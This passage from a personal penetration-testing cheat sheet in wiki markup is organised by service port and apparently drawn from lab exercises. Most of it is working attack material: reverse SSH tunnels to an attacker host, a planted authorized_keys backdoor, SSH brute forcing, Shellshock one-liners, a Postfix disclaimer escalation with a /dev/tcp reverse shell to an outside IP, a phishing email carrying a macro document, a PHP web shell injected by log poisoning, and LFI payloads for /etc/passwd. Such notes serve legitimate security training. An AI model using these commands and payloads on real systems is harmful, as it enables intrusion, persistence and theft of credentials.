&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
